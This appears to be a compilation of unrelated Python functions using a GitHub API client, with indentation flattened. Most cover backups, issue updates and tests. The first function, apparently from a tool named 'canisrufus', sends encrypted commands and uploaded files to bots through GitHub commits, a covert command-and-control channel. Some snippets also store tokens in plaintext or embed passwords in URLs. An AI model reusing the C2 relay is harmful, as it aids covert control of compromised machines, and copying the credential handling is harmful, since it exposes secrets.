def commit(self, botid, jobid, cmd, arg='', attachment=[]): if (botid is None) or (jobid is None): sys.exit( "[-] You must specify a client id (-id) and a jobid (-job-id)") comment = 'canisrufus:{}:{}'.format(botid, jobid) s = str(infoSec.Encrypt(json.dumps({'cmd': cmd, 'arg': arg}))) gh = Github(token=access_token, user=username, repo=myrepo) parentSha, baseCommit = currentCommit(gh) blobs = [] blobs.append(addBlob(gh, 'job.{}'.format(jobid), str(s))) tree = createTree(gh, baseCommit, blobs) createCommit(gh, parentSha, tree, comment) time.sleep(10) try: for attach in attachment: if os.path.exists(attach) == True: file = open(attach, 'rb').read() filedata = base64.b64encode(file) gh = Github(token=access_token, user=username, repo=myrepo) parentSha, baseCommit = currentCommit(gh) blobs = [] blobs.append( addBlob(gh, 'file.{}'.format(jobid), str(filedata))) tree = createTree(gh, baseCommit, blobs) comment = 'uploadfile:{}:{}'.format(botid, jobid) createCommit(gh, parentSha, tree, comment) except Exception as e: pass print "[*] Command sent successfully with jobid: {}".format(jobid)
def backup(user, password, dest): """Performs a backup of all the public repos in user's GitHub account on dest """ if not password is None: gh = Github(login=user, user=user, password=password) repos = gh.repos.list(type='all') if password is None or repos.all() == []: print "No valid github credentials provided. Private repos will not be copied!" logging.info("No valid github credentials provided. Private repos will not be copied!") gh = Github() repos = gh.repos.list(type='all', user=user) for repo in repos.all(): if password is not None and repo.private is True: source = repo.clone_url.replace("https://", "https://{}:{}@".format(user, password)) else: source = repo.clone_url repo_path = os.path.join(dest, repo.name) print "Backing up repository {}".format(repo.name) logging.info("Backing up repository {}".format(repo.name)) #If the repository is present on destination, update all branches if os.path.exists(repo_path): logging.info("The repository {} already exists on destination. Pulling " \ "all branches".format(repo.name)) with cd(repo_path): try: #These stdout and stderr flush out the normal github output #the alternative of using -q doesn't always work check_call(['git', 'stash'], stdout=PIPE, stderr=STDOUT) check_call(['git', 'pull'], stdout=PIPE, stderr=STDOUT) #General exception to better catch errors except CalledProcessError: print "ERROR: There was an error fetching the branches from " \ "the repository {}, skipping it".format(repo.name) logging.error("There was an error fetching the branches from " \ "the repository {}, skipping it".format(repo.name)) pass logging.info("Finished copying repo {}".format(repo.name)) print "Finished copying repo {}".format(repo.name) #Otherwise clone the repository and fetch all branches else: logging.info("The repository {} isn't cloned at {}, cloning instead of updating...".format(repo.name, repo_path)) try: check_call(['git', 'clone', source, repo_path], stdout=PIPE, stderr=STDOUT) logging.info("Cloning {}".format(repo.name)) except CalledProcessError: print 'ERROR: Problem cloning repository {}, skipping it'.format(repo.name) logging.error('ERROR: Error cloning repository {}, skipping it'.format(repo.name)) pass try: with cd(repo_path): check_call(track_all_branches, shell=True, stdout=PIPE, stderr=STDOUT) logging.info("Fetching branches for {}".format(repo.name)) except CalledProcessError: print 'ERROR: Problem fetching branches for repository {}, skipping it'.format(repo.name) logging.error('ERROR: Problem fetching branches for repository {}, skipping it'.format(repo.name)) pass
def github_connexion(user): print "[*]Connecting to github..." if user.logged: # Python Github API user.gh = Github(login=user.login, password=user.p) return True else: user.gh = Github() return False print '\033[92m' + "[Done]" + '\033[0m'
def __init__(self, user): self.user = user self.host = 'github' self.access_token = None if user.is_authenticated(): try: self.access_token=user.social_auth.get(provider=self.host).extra_data['access_token'] self.client = Github(token=self.access_token) except ObjectDoesNotExist: self.client = Github(client_id=settings.GITHUB_APP_ID, client_secret=settings.GITHUB_API_SECRET) else: self.client = Github(client_id=settings.GITHUB_APP_ID, client_secret=settings.GITHUB_API_SECRET)
def update_coverage_statistics(token): diag = sp.check_output( ["python3", "tools/conversion_coverage.py", "--markdown"]) diag = str(diag, "utf-8") repo = Github(token).get_repo(REPOPATH) issue = repo.get_issue(TRANSLATIONISSUE) issue.edit(body=TRANSLATIONBODY.format(diag))
def _github_client(): try: github_json = os.path.expanduser("~/.github.json") github = Github(**json.load(open(github_json, "r"))) except Exception: github = None return github
def test_filter_existing__removes_duplicates(self, http): fixture_data = load_fixture('comments_current.json') response = Response() response._content = fixture_data http.return_value = response gh = Github() problems = Problems() review = Review(gh, 2) filename_1 = "Routing/Filter/AssetCompressor.php" filename_2 = "View/Helper/AssetCompressHelper.php" problems.add(filename_1, 87, 'A pithy remark') problems.add(filename_1, 87, 'Something different') problems.add(filename_2, 88, 'I <3 it') problems.add(filename_2, 89, 'Not such a good comment') review.load_comments() review.remove_existing(problems) res = problems.all(filename_1) eq_(1, len(res)) expected = Comment(filename_1, 87, 87, 'Something different') eq_(res[0], expected) res = problems.all(filename_2) eq_(1, len(res)) expected = Comment(filename_2, 88, 88, 'I <3 it') eq_(res[0], expected)
def update_translations(token): diag = sp.check_output( ["python3", "tools/stringtablediag.py", "--markdown"]) diag = str(diag, "utf-8") repo = Github(token).get_repo(REPOPATH) issue = repo.get_issue(TRANSLATIONISSUE) issue.edit(body=TRANSLATIONBODY.format(diag))
def _initialize_client(self): self._gh = Github( login=self.github_user, user=self.github_user, password=self.github_password, repo=self.github_repo )
def test_register_hook(http): response = Response() response._content = '[]' http.return_value = response gh = Github() gh.repos.hooks.create = Mock() url = 'http://example.com/review/start' github.register_hook(gh, url, 'mark', 'lint-test') assert gh.repos.hooks.create.called, 'Create not called' calls = gh.repos.hooks.create.call_args_list expected = call( { 'name': 'web', 'active': True, 'config': { 'content_type': 'json', 'url': url, }, 'events': ['pull_request'] }, user='******', repo='lint-test') eq_(calls[0], expected)
def main(): argv = _parse_args() if argv.consider_assignees: if (ASSIGNEES.get('.DEFAULT') == 'default_committer' and len(ASSIGNEES) == 1): print('Set ASSIGNEES dict, or inform --no-assignees option ' 'to ignore it.') exit(1) else: ASSIGNEES['.DEFAULT'] = None with open(argv.file) as f: bitbucket_data = json.load(f) gh = Github(login=argv.login, password=argv.password) argv.gh = gh ret = import_issues_and_comments(issues=bitbucket_data['issues'][:], comments=bitbucket_data['comments'], argv=argv) print(""" Done. Import overview =============== Issues: read: {issues_read} imported: {issues_imported} Comments: read: {comments_read} imported: {comments_imported} """.format(**ret))
def __update_gh(backlog, new_state): logger.debug("Inside >>>>>>>>>>>>>>> __update_gh") github = Github(token=settings.GITHUB_TOKEN, user=settings.GITHUB_OWNER, repo=backlog.github_repo) data = create_milestone_data(backlog, new_state) github.issues.milestones.update(backlog.github_number, data)
def main(): parser = init_parser() args = parser.parse_args() # Process args if args.cron: args.git += "--quiet" # Make the connection to Github here. config = {'user': args.username} if (args.password): config['password'] = args.password config['login'] = args.username gh = Github(**config) # Get all of the given user's repos if args.organization: user_repos = gh.repos.list_by_org(args.organization).all() else: user_repos = gh.repos.list().all() for repo in user_repos: repo.user = gh.users.get(repo.owner.login) process_repo(repo, args)
def _github_client(): if Github: github_json = os.path.expanduser("~/.github.json") github = Github(**json.load(open(github_json, "r"))) else: github = None return github
def gist_to_text(gist): base = 'http://api.github.com/' gid = gist.split('/')[-1] gh = Github() content = gh.gists.get(gid).files.itervalues().next().content return content
async def make_repo_yaml(self, msg): args = get_args(msg) try: repo_name = args[0] except IndexError: await self.sender.sendMessage( "Please provide the full name of the repo.") resp = await self.listener.wait() repo_name = resp['text'] await self.sender.sendChatAction("upload_document") gh = Github() try: repo = gh.get_repo(repo_name) data = { "name": repo.name, "description": repo.description, "git_url": repo.clone_url } except github.GithubException.UnknownObjectException: await self.sender.sendMessage("Repo not found.") return name = "{}.yml".format(data["name"]) encoded_data = yaml.dump(data, encoding="utf-8", default_flow_style=False) self.logger.debug("Yaml made:\n\n{}".format( encoded_data.decode('utf-8'))) await self.sender.sendDocument((name, encoded_data))
def main(): parser = init_parser() args = parser.parse_args() # Process args if args.cron: args.git += "--quiet" # Make the connection to Github here. config = { 'user': args.username } if (args.password): config['password'] = args.password config['login'] = args.username # if both password and token are specified, the token will be # used, according to pygithub3 sources # however, the username isn't required when using a token if (args.token): config['token'] = args.token gh = Github(**config) # Get all of the given user's repos if args.organization: user_repos = gh.repos.list_by_org(args.organization).all() else: user_repos = gh.repos.list().all() for repo in user_repos: repo.user = gh.users.get(repo.owner.login) process_repo(repo, args)
def main(): print("Obtaining token ...") try: token = os.environ["GH_TOKEN"] repo = Github(token).get_repo(REPOPATH) except: print("Could not obtain token.") print(traceback.format_exc()) return 1 else: print("Token successfully obtained.") print("\nUpdating translation issue ...") try: update_translations(repo) except: print("Failed to update translation issue.") print(traceback.format_exc()) return 2 else: print("Translation issue successfully updated.") print("\nUpdating Class Names wiki page ...") try: sp.call(["git", "clone", "https://*****:*****@github.com/{}.git".format(token, REPOPATH_WIKI), "../{}".format(REPONAME_WIKI)]) if os.path.isdir("../{}".format(REPONAME_WIKI)): update_classnames(token) except: print("Failed to update Class Names wiki page.") print(traceback.format_exc()) return 3 return 0
def main(): # if this script has been run before use the past information try: file = open(TEMP_FILE_NAME, 'r') token = file.readline() organization = file.readline() # otherwise get the information from the user except FileNotFoundError: file = open(TEMP_FILE_NAME, 'w') token = input("Please input your Github Authentication Token: ") organization = input("Please input the organization name: ") # write to the file for future ease of use file.write(token) file.write('\n') file.write(organization) file.close() # logs into github using the token gh = Github(token.strip()) # the name of the assignment to get assignment_name = input("Please input the assignment name: ") # makes the path of the directory that should exist initial_path = Path.cwd() / assignment_name # ensures that the repos been cloned if not os.path.isdir(str(initial_path)): print('Please make sure the repositories are cloned or' ' that you didn\'t mistype the assignment name') else: # gets the name of all the student repos ie 'assignment-username' repo_list = get_repos(assignment_name, gh) # we are now in the overarching folder for the assignment os.chdir(initial_path) # make a file to store all this s***e in file = open(AVERAGE_LINE_FILE_NAME, 'w') file.write(assignment_name) file.write('\n\n') # writes the results into a file for convenience sake for repo in repo_list: # go to the cloned repository path = initial_path / repo.name os.chdir(path) # use git to get the stats (haha git get) process = os.popen(GIT_COMMAND) process_processing(process, file, repo) process.close() # closes file when everything is done file.close()
def main(): # if this script has been run before use the past information try: file = open('temp.txt', 'r') token = file.readline() organization = file.readline() # otherwise get the information from the user except FileNotFoundError: file = open('temp.txt', 'w') token = input("Please input your Github Authentication Token: ") organization = input("Please input the organization name: ") # write to the file for future ease of use file.write(token) file.write('\n') file.write(organization) file.close() # logs into github using the token gh = Github(token.strip()) #creates the Github link with the organization github_link = GITHUB_LINK + organization.strip() + '/' # the name of the assignment to get assignment_name = input("Please input the assignment name: ") # the day it's due (before midnight is assumed) date_due = input("Please input the date it's due (format = yyyy-mm-dd): ") # The time the assignment is due time_due = input("Please input the time the " "assignment's due (24 hour time ie 23:59 = 11:59 pm): ") # gets the name of all the student repos ie 'assignment-username' repo_list = get_repos(assignment_name, gh) # creates the path for the assignment a string of the path initial_path = Path.cwd() / assignment_name # makes a folder for the assignment as a whole initial_path.mkdir() # creates a folder, clones the repository, then checks out to before a date # the folder created is within the first folder made above, so all assignments # are in one convenient folder for repo in repo_list: path = initial_path / repo.name path.mkdir() os.system('git clone ' + github_link + repo.name + ' ' + "\"" + str(path) + "\"") os.chdir(str(path)) gitString = FIRST_HALF_GIT_REV_LIST + date_due.strip( ) + ' ' + time_due + SECOND_HALF_GIT_REV_LIST process = os.popen(gitString) commit = process.read() os.system('git checkout ' + commit) process.close()
def start(self, force_commits=False, force_stars=False): gh = Github() gh.repos.set_credentials(login=self.login, password=self.password) total_count = len(self.rows) count = 0 for row in self.rows: # need to convert sqlite3.Row object to dict type, in order to assign value info = dict(row) raw_url = info['url'] # print raw_url username, reponame = self.parse_user_repo(raw_url) count += 1 if not (username and reponame): print "[{current}/{total}]: illegal url: {url}" \ .format(current=count, total=total_count, url=raw_url) continue print "[{current}/{total}]: repo: {user}/{repo}" \ .format(current=count, total=total_count, user=username, repo=reponame) key1 = 'stars' try: old_stars = info[key1] # print old_stars if self.need_to_update_value(old_stars, force_stars): try: repo_data = gh.repos.get(user=username, repo=reponame) tmp = self.retrieve_repo_basic_info(repo_data) info.update(tmp) except GitHubErrors.NotFound as e: print "Repo not found: [{u}/{r}]".format(u=username, r=reponame) info[key1] = -1 except requests.exceptions.ConnectionError as e: print "Cannot connect to repo: {user}/{repo}".format( user=username, repo=reponame) except (KeyError, IndexError) as e: print "Warning: Key '{key}' not in data: {data}".format( key=key1, data=info) key2 = 'commits' try: old_commits = info[key2] if self.need_to_update_value(old_commits, force_commits): repo_url = self.construct_repo_url(username, reponame) contrib_url = self.construct_contrib_url( username, reponame) try: commits = self.parse_commits(repo_url) contribs = self.parse_contribs(contrib_url) tmp = self.retrieve_repo_commit_info(commits, contribs) info.update(tmp) except IOError as e: print "Cannot connect to {url}.".format(url=repo_url) except (KeyError, IndexError) as e: print "Warning: Key {key} not in data: {data}".format( key=key2, data=info) self.callback(info)
def get_client(config, user, repo): """ Factory for the Github client """ if 'GITHUB_OAUTH_TOKEN' in config: gh = Github(base_url=config['GITHUB_URL'], login=config['GITHUB_USER'], token=config['GITHUB_OAUTH_TOKEN'], user=user, repo=repo) else: gh = Github(base_url=config['GITHUB_URL'], login=config['GITHUB_USER'], password=config['GITHUB_PASSWORD'], user=user, repo=repo) return gh
def create_github_instance(self, *args, **kwargs): """ Create a Github instance from the given parameters. Add, if not provided, the `requests_per_second` and `cache` ones. """ if 'per_page' not in kwargs: kwargs['per_page'] = 100 return Github(*args, **kwargs)
def get_client(config, user, repo): """ Factory for the Github client """ gh = Github(base_url=config['GITHUB_URL'], login=config['GITHUB_USER'], password=config['GITHUB_PASSWORD'], user=user, repo=repo) return gh
def test_load_changes(self, http): gh = Github() response = Response() response._content = fixture_data http.return_value = response subject = Processor(gh, 1, '123abc', './tests') subject.load_changes() eq_(1, len(subject._changes), 'File count is wrong') assert isinstance(subject._changes, DiffCollection)
def test_load_comments__none_active(self, http): fixture_data = load_fixture('comments_none_current.json') response = Response() response._content = fixture_data http.return_value = response gh = Github() review = Review(gh, 2) review.load_comments() eq_(0, len(review.comments("View/Helper/AssetCompressHelper.php")))
def export_to_github(backlog): __validate(backlog) logger.debug("Inside >>>>>>>>>>>>>>> export_to_github") logger.debug(settings.GITHUB_TOKEN) logger.debug(settings.GITHUB_OWNER) logger.debug(backlog.github_repo) github = Github(token=settings.GITHUB_TOKEN, user=settings.GITHUB_OWNER, repo=backlog.github_repo) logger.debug(github) if backlog.status.id == selected_status_id(): try: __export_milestone(backlog, github) except: message = ("Error exporting milestone to GitHub" + " (Repo name: %s, backlog id: %d).") %\ (backlog.github_repo, backlog.id) logger.exception(message) __notify_export_problem(message, traceback.format_exc()) raise else: try: __export_issues(backlog, github) except: message = ("Error exporting issues to GitHub" + " (Repo name: %s, Milestone #: %s).") %\ (backlog.github_repo, backlog.github_number) logger.exception(message) __rollback_status(backlog) __notify_export_problem(message, traceback.format_exc()) raise try: __export_acceptance_issue(backlog, github) except: message = ("Error exporting accept issue to GitHub" + " (Repo name: %s, Milestone #: %s).") %\ (backlog.github_repo, backlog.github_number) logger.exception(message) __notify_export_problem(backlog, traceback.format_exc()) raise else: try: __update_milestone(backlog, github) except: message = "Error updating milestone in GitHub." __notify_export_problem(message, traceback.format_exc(), True) logger.exception(message) raise
def main(): gh = Github(user='******', repo='bce') pull_requests = gh.pull_requests.list().all() for request in pull_requests: files = gh.pull_requests.list_files(request.number).all() for file in files: # print file.filename if '.sqf' in file.filename: print file
def test_unregister_hook__success(http): response = Response() response._content = load_fixture('webhook_list.json') http.return_value = response gh = Github() gh.repos.hooks.delete = Mock() url = 'http://example.com/review/start' github.unregister_hook(gh, url, 'mark', 'lint-test') assert gh.repos.hooks.delete.called, 'Delete not called'
def test_register_hook__already_exists(http): response = Response() response._content = load_fixture('webhook_list.json') http.return_value = response gh = Github() gh.repos.hooks.create = Mock() url = 'http://example.com/review/start' github.register_hook(gh, url, 'mark', 'lint-test') assert gh.repos.hooks.create.called is False, 'Create called'